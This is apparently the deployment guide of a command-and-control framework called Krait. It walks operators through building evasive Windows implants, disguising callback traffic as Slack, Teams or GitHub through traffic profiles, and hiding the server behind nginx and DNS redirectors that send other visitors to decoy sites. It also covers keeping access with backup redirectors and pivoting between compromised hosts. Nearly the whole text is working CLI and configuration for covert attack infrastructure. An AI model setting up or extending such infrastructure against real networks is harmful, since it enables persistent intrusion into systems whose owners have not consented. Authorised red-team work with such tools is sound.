← Documentation / Infrastructure

Deployment Guide

Production setup, redirectors, TLS, multi-server topologies

Production setup for Krait C2: redirectors, TLS, multi-server topologies, and hardening.

Architecture Overview

Target Network                    Internet                     Operator Network
┌──────────┐     HTTPS      ┌──────────────┐    HTTPS     ┌──────────────┐
│  Agent   │ ──────────────→│  Redirector  │─────────────→│  C2 Server   │
│          │                │  (nginx)     │              │  (Krait)     │
└──────────┘                └──────────────┘              └──────┬───────┘
                                                                │ API :50051
                                                          ┌─────┴──────┐
                                                          │ CLI / Web  │
                                                          │ / MCP      │
                                                          └────────────┘

The redirector sits between agents and the C2 server. Agents never connect directly to the C2 — the redirector handles TLS termination, URI filtering, and geo-blocking.

Quick Production Setup

1. Generate TLS Certificates

# Self-signed (lab)
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
    -keyout server.key -out server.crt \
    -subj "/CN=krait.local"

# Let's Encrypt (production — run on redirector)
certbot certonly --standalone -d c2.yourdomain.com

2. Create Operator Accounts

./server/krait-server operator add adam
./server/krait-server operator add caro

3. Start the C2 Server

./server/krait-server server start --port 8443 --profile slack --ui

The --profile flag accepts any built-in profile name (slack, teams, onedrive, gdrive, github, npm, discord, docker-registry). Omit it for the default profile. Use --profile multiple times for multi-profile listeners.

4. Generate the Redirector Config

Use the operator Web UI Redirector page or the CLI redirector command to generate configs. The server automatically includes the active traffic profile’s URI paths in the generated config.

From the CLI:

krait> redirector nginx --backend https://<C2_IP>:8443 \
    --decoy https://www.microsoft.com \
    --server-name c2.yourdomain.com \
    --ssl-cert /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem \
    --ssl-key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem \
    --output redirector/krait.conf

From the Web UI: Navigate to Redirector → select nginx → fill in backend, decoy, server name, and TLS paths → download the config file.

5. Deploy the Redirector

# On the redirector host
sudo cp redirector/krait.conf /etc/nginx/conf.d/krait.conf
sudo nginx -t && sudo nginx -s reload

6. Build the Implant

Use the operator Web UI Build page or the CLI build command.

From the CLI:

krait> build windows -s <REDIRECTOR_DOMAIN> -p 8443 --external-port 443 \
    -i 60 -j 20 --all-evasion --profile slack

From the Web UI: Navigate to Build → select Windows → set server, port, evasion flags, and profile → build and download.

--server points to the redirector, not the C2 server. --external-port 443 is what the agent connects to; the redirector proxies to the C2’s internal port.

Redirector Configuration

nginx Redirector

The redirector nginx command generates nginx configs that:

  • Forward only valid C2 URI paths to the backend
  • Return 301 to a decoy site for all other requests
  • Trust X-Forwarded-For headers (agent IP passed through to server)
  • Handle TLS termination

CLI options:

FlagDescription
--backendC2 server URL (default: https://127.0.0.1:8443)
--ssl-certTLS certificate path
--ssl-keyTLS private key path
--decoyURL to redirect non-C2 traffic to
--server-namenginx server_name directive
--listen-portnginx listen port (default: 443)
--webrootWebroot path for Let’s Encrypt challenges
--outputOutput file path (prints to stdout if omitted)

DNS Redirector

For DNS transport:

From the CLI:

krait> redirector dns --domain c2.example.com --backend <C2_IP> \
    --zone --output redirector/

CLI options:

FlagDescription
--domainDNS domain for the C2 channel (required)
--backendC2 server IP (required)
--listen-portRedirector listen port (default: 53)
--backend-portTeamserver DNS port
--ifaceRestrict to network interface
--nftablesUse nftables instead of iptables
--socat-onlyOnly generate socat systemd unit
--zoneAlso generate zone file
--nsNS server hostname (repeatable)
--redirector-ipRedirector public IP
--outputWrite files to directory

Required DNS infrastructure:

  1. Domain with NS record: c2.example.com NS ns1.example.com
  2. A record: ns1.example.com A <REDIRECTOR_IP>
  3. socat/CoreDNS running on the redirector with the generated config

Traffic Profile Setup

When using traffic profiles, three components must use the same profile:

  1. Implant--profile slack in build (CLI or Web UI)
  2. Redirector — generated config automatically matches the server’s active profile URIs
  3. Server--profile slack at server start

Mismatched profiles cause agents to go dark (redirector blocks non-matching URIs).

Multi-Server Topologies

Single Server (Lab)

Agent → C2 Server (HTTPS listener + API + web UI on same host)

Redirector + C2 (Standard Engagement)

Agent → Redirector (nginx, public IP) → C2 Server (private IP)

Multi-Redirector (Resilience)

Agent → Redirector A → C2 Server
Agent → Redirector B ↗

Build multiple implants with different --server values pointing to each redirector. Deploy both to the target. If one redirector is burned, the other maintains access.

Multi-Transport Pivot

Agent A (HTTPS) → C2 Server
Agent A ──SMB──→ Agent B (internal host)
Agent A ──TCP──→ Agent C (different subnet)

Server Hardening

Firewall Rules

# C2 server — only accept from redirector
iptables -A INPUT -p tcp --dport 8443 -s <REDIRECTOR_IP> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP

# API port — only local and operator IPs
iptables -A INPUT -p tcp --dport 50051 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -s <OPERATOR_VPN_RANGE> -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -j DROP

SSH Tunneling (Remote Operator Access)

If operators can’t reach the API port directly:

# On operator workstation
ssh -L 50051:localhost:50051 user@c2-server

# Then connect
./server/krait-server connect --server 127.0.0.1:50051 --user adam

Separate Processes

For production, run the server and web UI as systemd services:

# /etc/systemd/system/krait.service
[Unit]
Description=Krait C2 Server
After=network.target

[Service]
Type=simple
User=krait
WorkingDirectory=/opt/krait
ExecStart=/opt/krait/server/krait-server server start --port 8443 --ui
Restart=on-failure

[Install]
WantedBy=multi-user.target

Operational Checklist

Before going live:

  • TLS certificates in place (not self-signed for production)
  • Redirector deployed and tested (curl the decoy URL, verify redirect)
  • Operator accounts created
  • Traffic profile matching across implant, redirector, and server
  • Firewall rules restricting C2 port to redirector only
  • API port restricted to operator IPs
  • Test implant successfully calls back through the full chain
  • Event logging confirmed (log command shows registration)
  • Backup redirector tested (if using multi-redirector)